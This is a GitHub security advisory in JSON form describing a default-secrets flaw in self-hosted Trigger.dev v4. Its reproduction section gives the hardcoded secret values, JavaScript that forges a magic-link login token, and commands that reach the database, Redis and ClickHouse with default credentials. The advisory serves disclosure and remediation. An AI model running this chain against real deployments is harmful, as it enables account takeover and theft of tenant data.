GHSA-pqxw-g93w-hj9x: Trigger.dev Default Secrets Allow Unauthenticated Infrastructure Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pqxw-g93w-hj9x",
  "modified" : "2026-10-02T22:42:06Z",
  "published" : "2026-10-02T22:39:48Z",
  "aliases" : [ ],
  "summary" : "Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise",
  "details" : "## Summary\n\nSelf-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise.\n\n## Vulnerability Details\n\nThe `hosting/docker/.env.example` file contains hardcoded cryptographic secrets:\n\n```\nSESSION_SECRET=2818143646516f6fffd707b36f334bbb\nMAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd\nENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a\nMANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f\n```\n\nThe `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted).\n\n## Steps to Reproduce\n\n### Setup\n```bash\ncd hosting/docker && cp .env.example .env\ncd webapp && docker compose up -d\ncd ../worker && docker compose up -d\n```\n\n### Step 1: Forge magic link token\n```javascript\nconst CryptoJS = require('crypto-js');\nconst secret = '44da78b7bbb0dfe709cf38931d25dcdd';\nconst payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()});\nconst token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString());\nconsole.log('https://target:8030/magic?token=' + token);\n```\n\n### Step 2: Authenticate via forged magic link\n```bash\ncurl -v \"http://localhost:8030/magic?token=\"\n# Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=...\n# User auto-created, session cookie set, redirects to /orgs/new\n```\n\n### Step 3: Verify database access from runner network\n```bash\ndocker run --rm --network webapp postgres:14 psql \"postgresql://postgres:unsafe-postgres-pw@postgres:5432/main\" -c \"SELECT id, email FROM \\\"User\\\";\"\n# Returns: cmph790qf0004tn55ec7lyq7a | attacker@evil.com\n```\n\n### Step 4: Verify Redis access (no auth)\n```bash\ndocker run --rm --network webapp redis:7 redis-cli -h redis PING\n# Returns: PONG\n```\n\n### Step 5: Verify ClickHouse access\n```bash\ndocker run --rm --network webapp curlimages/curl curl -s \"http://default:password@clickhouse:8123/?query=SELECT%20version()\"\n# Returns: 25.5.2.47\n```\n\n## Root Cause\n\n1. Hardcoded secrets in `hosting/docker/.env.example` (lines 9-12)\n2. Runner containers placed on infrastructure networks: `DOCKER_RUNNER_NETWORKS: webapp,supervisor` in `hosting/docker/worker/docker-compose.yml:42`\n3. Default credentials on all infrastructure services\n4. No Redis authentication\n5. SESSION_SECRET reused for JWT signing (`apps/webapp/app/services/apiAuth.server.ts:616`) and impersonation tokens\n\n## Impact\n\nComplete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "trigger.dev"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-pqxw-g93w-hj9x"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/pull/4316"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/triggerdotdev/trigger.dev"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1393", "CWE-653" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-02T22:39:48Z",
    "nvd_published_at" : null
  }
}